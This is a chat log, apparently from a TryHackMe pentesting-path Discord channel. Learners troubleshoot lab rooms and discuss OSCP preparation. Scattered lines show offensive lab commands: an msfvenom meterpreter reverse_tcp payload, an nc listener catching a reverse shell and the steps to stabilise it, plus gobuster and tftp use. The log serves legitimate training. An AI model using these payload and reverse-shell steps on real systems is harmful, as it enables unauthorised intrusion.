PS: if such posts are not allowed here, please let me know so I can delete this.

[sharp dagger]

Yes

[lean scaffold]

Try to ask guys in #cyber-and-careers channel , guys there can give you some great cert. advice 🙂

[willow birch]

hi mod how to get OSCP tag.
where can i send proof or something to get a tag.

[lean scaffold]

Hi 🙂 . Try to reach out to Jabba or Scrubz , I don't think I have a permission to give roles yet 🙂

[slender ridge]

hey guys

anybody herer solved kenobi??

when i try to mount the share point i am getting errors

[lofty sky]

What is the exact command you are running? Can you share a screenshot of it (you'll need to verify your account to do so)?

[pallid charm]

@slender ridge

How to Verify as a Student Without a Student Email

Article Link

https://help.tryhackme.com/en/articles/10617468-how-to-verify-as-a-student-without-a-student-email

Apr 17, 2025, 2:52 AM

[pallid charm]

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Apr 20, 2025, 9:07 PM

[timber wind]

I'm running into issues on task 4 of Steel Mountain. Skipped it and finished Alfred but don't want to keep skipping it since I feel like I must be doing something wrong. I am getting an error when trying to serve the NC library over port 80 since it's apparently already in use? Is there a way to force the python script to download the ncat library over a different port? Or a way to stop whatever is on port 80 without crashing the attack box?

[lean scaffold]

Can you provide some shots ?

[timber wind]

Uh, I'm trying to share but it's saying attachments are disabled. You can replicate in any Linux attack box with the command "python3 -m http.server 80" where again, 80 is already in use by something.

I ended up completing it by cheating a bit and running the python server to host the file on a different port and encoding ":port#" in the text string of the exploit so that it would pick up the NC library over a port not being used because I was a bit impatient 🙃

But that should for sure be amended for future users.

[lean scaffold]

You will have to verify first

[pallid charm]

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Jun 4, 2025, 1:08 PM

[lofty sky]

The Attackbox is using port 80 for it to be accessible via web.

[timber wind]

That makes sense. Glad I figured out a workaround but there should probably be a note in any room expecting to serve files over 80 that it for sure won't work then, right? That's hella confusing for someone who might not have as much "hacking" experience (read: breaking stuff to make my own crumby web stacks work)

[timber wind]

Is there a way to do that over email? Would rather not give discord more info just to send a screen cap but I would love to see this clarified for future users

To clarify the room suggests you can run a script that will download the file but it never works since you can't serve a file from the attack box off of port 80 (you get an error saying it's in use) and that's the only place the script looks (unless you modify it to look for the file at a different port)

[timber warren]

wdym more info lol

discord can't do a thing with the provided token and doesn't even have an idea what it's for.

[timber wind]

Do you have another method of reporting a bug in a room that isn't discord like an email or a chat on the site itself? That would be helpful info 😁

[lofty sky]

The THM discord verification only involves putting in the token to the THM discord bot

[pallid charm]

@timber wind

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Jun 11, 2025, 6:42 AM

[keen ivy]

Am I doing something wrong in the alfred room (upgrading to metasploit/Task 2) or is this just msfjank? Tried a couple times but not getting much success even rebooted the box a few times

[lofty sky]

What payload are you using?

[keen ivy]

It's an msfvenom payload from the task
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai
I set the IP to my tun0 interface, and the port to one I know isn't behind a firewall, then set up the listener with
windows/meterpreter/reverse_tcp

[keen ivy]

I got it, it was me being dumb!! I was trying to kick the stager off via a jenkins build job and not via the initial shell

root.txt acquired

[raw pollen]

❓ For https://tryhackme.com/room/hackpark , task 4 I know which binary it is, but I would like to find out which process/mechanism is responsible for spawning this binary periodically? It doesn't seem to be due to a service or a scheduled task, though I may be wrong as Windows is not my forte.

[lofty sky]

Are you referring to the || Windows Task Scheduler ||?

[raw pollen]

Indeed, I would expect ||Windows Scheduler|| to periodically execute ||Message.exe||. However, I ran schtasks /query /fo LIST /v to get the details of every scheduled task and none is referencing ||Message.exe||. Unless one of these tasks is indirectly calling ||Message.exe|| I don't understand how it is getting spawned.

[lofty sky]

There is one log file you will see where || Message.exe|| is being run or called. Can't remember if it is on the same folder.

[raw pollen]

Ok, I finally understand. This setup is not using the standard Windows Task scheduler, it's using a 3rd party tool: System Scheduler Professional. That's why schtasks was useless. Thanks @lofty sky

[desert topaz]

Gave +1 Rep to @lofty sky (current: #12 - 835)

[lofty sky]

Hope it helped. Also, just notice your pfp corresponds to the room's theme.

[raw pollen]

Hehe, true 🤡 Thanks for the help. I learned a ton from this little side step and that's what matters.

[keen ivy]

Just spent the last 20 minutes setting up a meterpreter session to try to escalate to root on Overpass 2 before I finally remembered to look at the files

I made chatGPT roast me and dude is savage

[timber wind]

Do most people use their own machine when engaging with content on this path? Kinda confused with the buffer overflow stuff as everything is taught in windows then I guess they expect you to create a buffer overflow using Linux all of a sudden? I guess I could go off path and do another module but kinda weird structure unless I'm missing something major

[astral finch]

If any application is allowing PUT method to perform certain action instead of POST method. Then how we can exploit PUT API and they have implemented strong check on payload and role based access control

[lofty sky]

Is this related to any THM specific room in the learning path? If not, suggest to post this in #infosec-general

[leaden furnace]

Hello everyone, I am extremely curious about the effectiveness of THM for offense, please share your thoughts so that I don't waste my time

[lean scaffold]

wdym ?

[fiery bronze]

Hi

[fiery bronze]

I could send any message in looking for a group

It says to go to offensive path

[lean scaffold]

Event is over , #1385311669256982608 channel isn't active anymore 🙂

[fiery bronze]

When will it get active?

[lean scaffold]

It won't , event is over . It will be deleted

[fiery bronze]

Okay

[pallid charm]

Information

Discord Slash Commands

https://support.discord.com/hc/en-us/articles/1500000368501-Slash-Commands-FAQ

Jul 2, 2025, 4:30 AM

Legal & Compliance requirements

Article Link

https://help.tryhackme.com/en/articles/8469856-legal-compliance-requirements

Jul 2, 2025, 4:41 AM

[hasty bloom]

sed

[fiery bronze]

Hi

[hasty bloom]

sup?

[fiery bronze]

How are you?

[hasty bloom]

am fine you?

[fiery bronze]

Fine

[hasty bloom]

cool

[fiery bronze]

Would you like it to be my friend

[lapis thicket]

By the way does anyone have any advice on the brainstorm room because when I run chatserver.exe in the windows vm and then try to nc on port 9999 it says connection refused but the windows machine doesn't even have a firewall

It works on the actual tryhackme spawned server but when I download it and put it on a vm it doesn't work anymore

[exotic flame]

👋 hey all Trying to exploit a web server for a ctf challenge, I’m searching metasploit for a vulnerability on an Apache server.

Apache / 2.4.41 (Ubuntu)

When looking into exploits how important is the version to the exploit?

When I search the whole server info nothing comes up, but I get many results for Apache

[lean scaffold]

It's very important you need to use the version of exploit that targets the vulnerable version of the software used by the web app , ex: exploit for Apache 2.4.42 won't work for your target

[gleaming fox]

Hello hackers, i need a lil help with setting up DNS for Breaching Active Directory... Can anyone help?

[gleaming fox]

#breaching-ad

[fleet wedge]

Did you get it working?

[gleaming fox]

still fighting with chatgpt to help me..

if you can.. please

i am trying to setup on my kali

[fleet wedge]

add nameserver <THMDCIP> into /etc/resolv.conf and add it above the other entries that worked for me.

I am on the attackbox so results may vary.

[covert maple]

Hello guys, i am having a difficulty with my first room

[lean scaffold]

It's wordlist.txt not worldlist.txt 🙂

[covert maple]

Thanks

[desert topaz]

Gave +1 Rep to @lean scaffold (current: #1 - 5741)

[torpid estuary]

Greetings. I would like to ask for your opinion on report writing. I had followed the writeup in room relevant, as well as room writingpentestreports to understand the way to write a report. My problem is how do you determine what type of vulnerabilities they are for those encountered in relevant since it require ||1. a writable smb share 2. IIS server that links to the directory of the share to trigger the payload.|| Do you write 2 vulnerabilities or name them as 1? What will be the title of the vulnerability? How do you determine the risk rating? Is it thru look for similar one in cve database for CVSS rating?

[vast oak]

As for the CVSS rating, you may find the CVSS Calculator useful:
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

[lofty sky]

I'm not a pentester by profession, but IMHO, I would put in two separate vulnerabilities (which are both misconfigurations). However, I will indicate on the IIS server issue that it can be chained with the writable SMB share.

[torpid estuary]

Thank you for both of your replies. Regarding the risk rating, most report in https://github.com/juliocesarfort/public-pentesting-reports seems to use their own qualitative rating instead of cvss. One report Pentest-Limited/Report URI - 2020 Penetration Test Report.pdf even mentioned they use both since the cvss is not enough to cover all risks which makes some of the vulnerabilities without cvss rating. What is your opinion on their choices? Is it better to stick to cvss rating like the writingpentestreports room and why?

[ivory palm]

Please is anyone into secure side review lately am looking for someone to do it with

[white kernel]

Hello

[devout shell]

Hi whats the version used in the machin in vuln wuiz

I lost the version

[devout shell]

@lean scaffold can you help sir?

[lean scaffold]

regarding ?

[devout shell]

The bot didnt start so I so I skipped first wuizz

Now I cannot proceed to
The next wuiz

[devout shell]

What will I do?

[manic knoll]

guys i hit start machine and it just doesnt load anything it says im active on it, but it literally doesnt show up, is this okay? im new to thm

[lofty sky]

If you can verify your account and share screenshots or images, that would be helpful.

[pallid charm]

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Sep 5, 2025, 6:31 AM

[grizzled gale]

Hi! About the Relevant machine: it constantly 'disappears' from the network after deploying it (I am almost sure why, but cannot guarantee it). It happens every ~15-20 minutes and I have to re-create the machine in the web portal.

Is there a way to have it not crash constantly? Or to have a better availability towards it?

[hot rune]

The Gobuster: The Basic (Task 4)
:~/Desktop# gobuster dir -u "www.offensivetools.thm" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://www.offensivetools.thm
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

Error: error on running gobuster: unable to connect to http://www.offensivetools.thm/: Get "http://www.offensivetools.thm/": dial tcp: lookup www.offensivetools.thm on 127.0.0.1:53: no such host

No such host , how i can reach the and finish the task?

[lean scaffold]

Configure DNS settings per task instructions then run these commands to restart the service
sudo systemctl disable systemd-resolved sudo systemctl stop systemd-resolved /etc/init.d/dnsmasq restart

[hot rune]

Thank you but i supposed at first create new resolv-dnsmasq , because there been some other ip

[hot rune]

+rep

[grizzled gale]

has anything happened with the https://tryhackme.com/room/bufferoverflowprep room?
Yesterday it was available but now now it can't be found
It is still referenced by the learning path https://tryhackme.com/path/outline/pentesting

[foggy halo]

.

[proud silo]

:hammer: rohitgupta0127#0 has been banned.

[karmic crater]

I'm so frustrated with the AD rooms right now. I keep having issues with the DNS stuff.

(just venting)

[scarlet ferry]

hmm do you found it? I have downloaded cached one.

[meager vale]

how do you do that?

[scarlet ferry]

Last year I downloaded the room website

[red tinsel]

└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.9.1.109] from (UNKNOWN) [10.10.218.77] 60394

$ python -c "import pty; pty.spawn ('/bin/bash')"
www-data@ip-10-10-218-77:/$ ^Z
zsh: suspended nc -lvnp 1234

┌──(uknown㉿kali)-[~/Downloads/shells]
└─$ stty raw -echo

┌──(uknown㉿kali)-[~/Downloads/shells]
└─$ fg
[1] + continued nc -lvnp 1234

Each time I press ctrl z to back ground a job and press the stay raw -echo and then the fg, I get stuck in continued nc ip and I can't press enter as enter keeps showing ^M
This is stabalizing a reverse shell btw

[lofty sky]

Have you tried putting it in a single line?

stty raw -echo; fg

[red tinsel]

that fixed it yea

thanks

[swift merlin]

@potent geyser Hi

[vagrant crater]

hello

[atomic shadow]

Hey guys I need help with EXPLOITING ACTIVE DIRECTORY module, does anyone face the same issue like me in the exploiting certificate portion actually after generating the certificate when I try to get tgt by rubeus.exe it says KRB-ERROR(24): KDC_ERR_PREAUTH_FAILED can anyone help me with this? I already tried it several times as the instructions are given but every time I fall into this same pothole! Please anyone!!

[golden aurora]

Could anybody please guide me about which learning paths are good for oscp preparation?

[lofty sky]

From Reddit -

https://www.reddit.com/r/oscp/comments/xodt6q/tryhackme_path_to_oscp/

[golden aurora]

Ok, thank you

[desert topaz]

Gave +1 Rep to @lofty sky (current: #12 - 903)

[golden aurora]

If anybody else is also starting their preparation for OSCP and would like to do it together then please let me know. I am a fresher in pentesting role and have basic to intermediate knowledge in cybersecurity...... more on the basic side you can say.

[lofty parcel]

YOO

[gentle latch]

yes i want

[lofty fox]

?

[golden aurora]

Sent you a friend request

[golden aurora]

Yes, what happened?

[tardy hazel]

Sure

[golden aurora]

👍

[mystic plank]

Hello, i just started on this Tryhackme me journey today. I'm doing, offensive security and I'm super excited about it. anyone new to tryhackme???

[echo gate]

me too lets be friends so we could help eachother]

[distant lantern]

Yeah, new and excited. Just like you

[fading ether]

hey newbie here! can anyone give me tips related privilege escalation as i'm always stuck after enumeration part when solving rooms.

[distant lantern]

Daniel Lowrie is a great teeacher in this domain. You could seek out his stuff like "Hands-on Hacking" cuz he'll breach machines from VulnHub explaining every step like enumeration (there is no "after enumeration part" as it's a continous process during a pentest). You can even follow along if you want to by downloading the same machine. IT ProTV is where I saw that particular series btw, but there are many free resources. The overall message is enumerate, enumerate, enumerate lol

[fading ether]

thnx man 🙂

[nova shale]

listen someone tell me is DATA STRUCTURES AND ALGORITHM is necessary upto competitive level in cyber security feild?

[peak badge]

yup

[fast raven]

Hello everyone, where can I download Immunity Debugger?

[reef kestrel]

why session is not valid ?

[final night]

Hi all. A question from a noob who has gone through the pre-security, cyber sec. 101 and Jr. Penetration Tester: I see that some of the first rooms here (in Offensive Pentesing) require (or recommend, at least) using Metasploit. In contrast, I was recommended not using this tool to avoid becoming a script kiddie. What's your opinion? Maybe using it for this rooms is worth it at this point of the career?

[white flame]

Absolutely use it. If there's an existing module available for a vuln it makes sense to utilize it. The alternative I think you're referencing is creating your own POCs.
What I would highly recommend when you find a vulnerability in a room is research the vulnerability. What type of vuln is it? How is it exploited? How does the exploit you found take advantage of it?
Next, comb through the POC or metasploit module code to understand what's occurring. This is good practice especially when you find POCs online because you don't just want to run something without knowing what it does.
Familiarizing yourself with python syntax is a good start because many exploits are written in python and metasploit modules are written in ruby which is legible if you know python.
Hope it helps.

[final night]

Sure it helps! Thanks!

[desert topaz]

Gave +1 Rep to @white flame (current: #149 - 71)

[torn vessel]

Eyo, i think I am experiencing a bug.
Is someone available for a question?

[torn vessel]

Anybody else experiences a bug in Breaching Active Directory task 6?

trying to tftp to the MDT server, but it i get connect request failed every time, and no matter how much im trying to debug it i cant seem to find the problem!
Adding a screenshot of the debugging and the bug:

Microsoft Windows [Version 10.0.17763.1098]
(c) 2018 Microsoft Corporation. All rights reserved.

thm@THMJMP1 C:\Users\thm>ping 10.200.70.202

Pinging 10.200.70.202 with 32 bytes of data:
Reply from 10.200.70.202: bytes=32 time<1ms TTL=128
Reply from 10.200.70.202: bytes=32 time<1ms TTL=128

Ping statistics for 10.200.70.202:
Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
Control-C
^C
thm@THMJMP1 C:\Users\thm>nslookup thmmdt.za.tryhackme.com
DNS request timed out.
timeout was 2 seconds.
Server: UnKnown
Address: 10.200.70.101

DNS request timed out.
timeout was 2 seconds.
DNS request timed out.
timeout was 2 seconds.
Name: thmmdt.za.tryhackme.com
Address: 10.200.70.202

thm@THMJMP1 C:\Users\thm>tftp -i 10.200.70.202 GET "\Tmp\x64{B2C8C206-3AAA-4E25-9E9B-17E78C423EE5}.bcd" conf.bcd
Connect request failed

[teal onyx]

Greetings All! I just wanted to make a suggestion. I've recently decided I'm going more purple and have started on some Blue Team stuff. I'm seeing training on writing reports and that sort of stuff. I'd like to recommend that be added to the pen testing path as well. Note taking, report writing etc.

[lofty sky]

Try to create an entry for it in #feedback-and-ideas

[teal onyx]

I found it. Thank you.

[zenith kelp]

anyone able to help me out with some issues with bloodhound?

[lean scaffold]

What's the issue 🙂 ?

[zenith kelp]

Managed to sort it now

[fringe socket]

Hello. I am facing the same issue. Could you solve that? If yes, can you tell how?

[quasi lintel]

hola, la verdad soy nuevo en todo esto y quiero saber como puedo aprender lo basico e ir subiendo de nivel, aprendo rapido

[lofty sky]

Hey 39, this is an english only server please. Thanks!

[desert topaz]

Gave +1 Rep to @quasi lintel (current: #3695 - 1)

[warped torrent]

que pasa 39 , no te parece bien

[spare cosmos]

guys i am confused when im trying to gain root access after finding the setImpersonator is enabled

[clever hare]

Why its called off pentesting path is there a defensive pentesting path ?

[little estuary]

Defensive pentesting is called Purple-teaming (testing your own defenses/alerts/monitoring)

[forest panther]

Guys I have Completed till Jr Penteration and web fundamentals (difficulty:easy) so should I shift to HacktheBox and Start Doing CPTS path or Complete THM Module Till Red team and then Shift to HTB

[lofty sky]

Its up to you. You can also try jumping into the CPTS learning path to get a feel of how HTB teaches the concepts and see if it works for you this early.

[severe parcel]

Can someone tell me what all offensive pentesting room in THM covers?

[slim crest]

facing below error in when submiting quesiton for Offensive Security Intro

Oops, this page failed to load
Something went wrong while loading this page. Try refreshing to give it another shot.

Error ID:
fb02b22a9ad149488db4af69a6c2e1f4
pleae hep
help

[little estuary]

not specific to this path - #room-help was the right spot for your post

[wooden hound]

You need to give some command
Usage: yum [options] COMMAND```
I get this message in Daily Bugle room of Offensive security path for GTFOBins of yum

[wooden hound]

All the rooms focuses on Recon to Privelage Escalation. Mainly for parcticing what you learnt in previous learning paths.

[wooden hound]

According to me you should complete Offensive Pentesting and Red Team then shift to HTB for CPTS

[real sandal]

Try Harder etc.

39% done this path, hopefully I get it done mid-week

[alpine peak]

very good

[real sandal]

HackPark is annoying me though lol

[alpine peak]

@real sandal Why

[real sandal]

Hydra kept saying all the passwords in my wordlist were valid… couldn’t figure that out so just got in through wfuzz (I don’t really like hydra for http anyway)

Now trying to get the RCE to work… not returning a shell like I expected so have to do more digging

[alpine peak]

just got to read the exploit

[obsidian marlin]

can you paste the command you're using?

[alpine peak]

@obsidian marlin who?

for which part?

[obsidian marlin]

@real sandal

[stable geode]

@alpine peak You made this OSCP path?

Damn, this needs to be tried then.

Good job, though.

Oh wow

6 months is a lot of time.

[alpine peak]

VulnHub and THM stuff back and forth

[final vault]

😢 DIdn't realise how much of this I'd passively done. Gj on the path tho man! It looks sick

[stable geode]

I feel more motivated to creating a Binary related room and eventually a path.

[final vault]

I feel that Robin!

I'd love to do a bug hunting one but I really don't have the motivation to develop so many web apps

[alpine peak]

The custom written ones to take the most time

[stable geode]

^

That, I have to agree.

[real sandal]

Is one of those non-added machines Brainpan? Noticed the room is private

[alpine peak]

GameZone, Alcatraz, Vulnversity, brainstorm is custom written

I forgot what else was

I made Brainstorm, brainpan was from VulnHub, and its using wine to simulate exploiting a windows BOF

@real sandal Non-added machines is Jack and Alcatraz

Alcatraz is out of scope of the OSCP tho, since the concepts are more elaborate than typical CVE

[real sandal]

Ah

[stable geode]

Wait, brainpan is a Linux machine with windows binary as a vulnerable point?

[alpine peak]

Yes because VulnHub is not legally allowed to distribute windows

[stable geode]

Damn, I gotta try it. It sounds so cool.

You've done it?

[alpine peak]

Yes many times

[stable geode]

I'll try it today, awesome.

Thanks for recommending.

[alpine peak]

On an actual windows machine

[stable geode]

If I remember correctly, OSCP doesn't involve complex buffer overflow challenges, right? I haven't taken it but I've heard of this.

[final vault]

Yeah from what I've heard it's very basic

D:

[alpine peak]

They really want you to know how to find bad chars

I get nervous talking about the exam so that's all I will say about it

[final vault]

shiet

[stable geode]

Anyone have it? Need to try those lol

Or wait, bad chars...hmm.

[alpine peak]

You just got to learn to look at the execute of the shellcode one by one and find the specific part where the execution messes up because doing the traditional way did not help me

[stable geode]

You have any binary close to what you're talking about?

[alpine peak]

No, you just got to keep doing trial and error

They don't care about Linux BOF

[final vault]

oscp terrifies be, I've gone to the payment screen like 5 times in the last few months but everytime feel I know nothing and should just give up 😂

pog

[stable geode]

I can try making one...but not exactly same

Lol

Happens, be prepared enough. @final vault

[real sandal]

My exam is in 2 weeks 😬

[alpine peak]

I thought the same also about the BOF, its easy but they try anything they can for it not to be that easy, It could have changed since I did it

[stable geode]

Oh, good luck.
2 weeks = 24*14 = 336
Considering you have to adjust some sleep, let it 6 hours then
336 - 84 = 252
That means, you have 252 hours. Adjust everything. @real sandal

If you know the process and understand what happening with it, I guess the debugging process won't take time, right? @alpine peak

[final vault]

People who go into the oscp exam trying to just push through 24 hours of hacking are silly. Better to focus your time get a decent 8 hours before and take a nap through it

[real sandal]

Ha lately I've been feeling like I’ve slept too much and haven’t put in enough nights popping shells

[alpine peak]

Yea, just understand whats going on, and be really good at finding bad chars for shellcode generation

[stable geode]

Fair enough, guess it's not that hard as we are considering it.

[alpine peak]

It may be a longer trial and error process than expected but you will get it if you keep trying

It just depends if they changed it or not

[stable geode]

But  ¯_(ツ)_/¯ , then hell. I'm gonna make my room hard

[alpine peak]

The BOF part is still the easiest part of the exam

[final vault]

D:

[alpine peak]

So don't overthink it

[final vault]

you kidding

[alpine peak]

For me it was

The Windows privesc parts is what I had trouble with because I did VulnHub all the time

[stable geode]

Oh

How many boxes do they include?

[final vault]

man I love windows priv escs ngl

just hate the initial stuff

[stable geode]

Nani?

Windows, I don't hate it. But using Linux all day I feel like an outcast lol. @final vault

[alpine peak]

Windows privesc is fun if you have knowledge of it, but at the time I had this idea that it wasn't useful but I was completely wrong because most of pentesting is windows

[final vault]

I get that, I just love some of the creative stuff you can do with active directory

9/10 it's a misconfiguration which leads to NT AUTH

[alpine peak]

mimikatz and powerview

[final vault]

I feel people just focus too heavily on Linux and ignore windows

[stable geode]

At least, I can say the BOFs won't be like Jigsaw 2's root part.

[alpine peak]

Was jigsaw2 privesc hard?

[stable geode]

Nope

It was straightforward to be honest.

[alpine peak]

Yea, if you have ippsec, its pretty easy

[stable geode]

Well, hard if you don't anything.

^

[final vault]

man if you guys play on htb at all I can't recommend doing resolute enough!

[alpine peak]

People actually did jigsaw2 wrong, because I didn't remove LXD group

[stable geode]

The point was only adding a setuid(0) which was easier since libc is known and you had the gadgets.

I did it the intended way.

[alpine peak]

Good

That's why I like Debian, because Ubuntu will add useless services by default that may or may not be vulnerable

[stable geode]

Since then I've been doing only binary exploitation and RE lol.

^

Agreed.

[alpine peak]

Its hard to go to windows when you're spoiled by how efficient linux is with administration

[stable geode]

@alpine peak Umm, which Brainpan had that windows BOF?

[alpine peak]

Brainpan:1

[stable geode]

Gotcha, thanks.

You're awesome!

[buoyant zinc]

Just started this path today. How is it so far with you guys?

[frail vine]

I've just done blue and kenobi

[spark iron]

Ey, how you finding it?

[buoyant zinc]

Good so far.

[spark iron]

Amazing, feedback is always appreciated https://TryHackMe.com/feedback

[toxic temple]

there you go

got it eventually

[spark iron]

Aha, on my phone

[buoyant zinc]

Glad to see something like this appear. I know everyone says HTB and Ippsec which are awesome. But this seems more.... structured I guess.

[spark iron]

So wasn't formatting

@buoyant zinc thanks:)

[alpine peak]

HTB won't accept OSCP targeted machines anymore

[spark iron]

Oh why?

[alpine peak]

Their standards of difficulty is higher

Like Easy machines is actually medium on other platforms, They seem to only accept concepts that haven't been explored unless the founder of HTB makes it

[spark iron]

Oh, next they'll do their own cert

[alpine peak]

They already do

[toxic temple]

Yeah

Prolabs

[spark iron]

Ohh yeah

[toxic temple]

HTB has a massive power creep issue

[alpine peak]

The cert is not valued in the market currently tho

[toxic temple]

Boxes are just slowly getting harder and harder and the ratings trickle down

Hard becomes medium, medium becomes easy, etc

[alpine peak]

Yea, that's what iv always noticed

[spark iron]

It's great as they have people for recruitment

To place into the industry

[alpine peak]

Eventually HTB will be forced to accept recycled concepts because their is nothing else to explore

[spark iron]

Yeah interesting.

[toxic temple]

By that point it will be new to the active user group though

[alpine peak]

If their goal is the ranking system

I just know HTB did not prepare me for what I experienced with offsec's proving grounds

[spark iron]

Yeah, I want TryHackMe to ease beginners into security, but then provide rooms for more advanced concepts

[alpine peak]

Yea, still working on adding required concepts for that goal

[real sandal]

Almost done Skynet. Fun box just need to root it tonight

Maybe I’ll play the Terminator 2 title music during it 🙂

[spark iron]

Aha, themed music for a themed box

[alpine peak]

Terminator 2 the best

[fleet wedge]

I have perfected the terminator 2 run

https://gamespot1.cbsistatic.com/uploads/original/1520/15206874/2694284-3814203630-81325.gif

[alpine peak]

I perfected the smug dance

[stable geode]

@real sandal Can't promise but if you need help with buffer overflow, you can hmu anytime.

[real sandal]

Cool, I definitely still need to put in more reps with BoF

[dapper star]

tbh, since I started on HTB, I've never encountered a type of attack that was recycled

they really are picky about the boxes they are releasing

[stable geode]

@real sandal I'll help you out, don't worry. You gonna do great.

[alpine peak]

Well Yea, you can actually see the amount of boxes they reject

[dapper star]

too bad on the last few boxes there were issues regarding unintended paths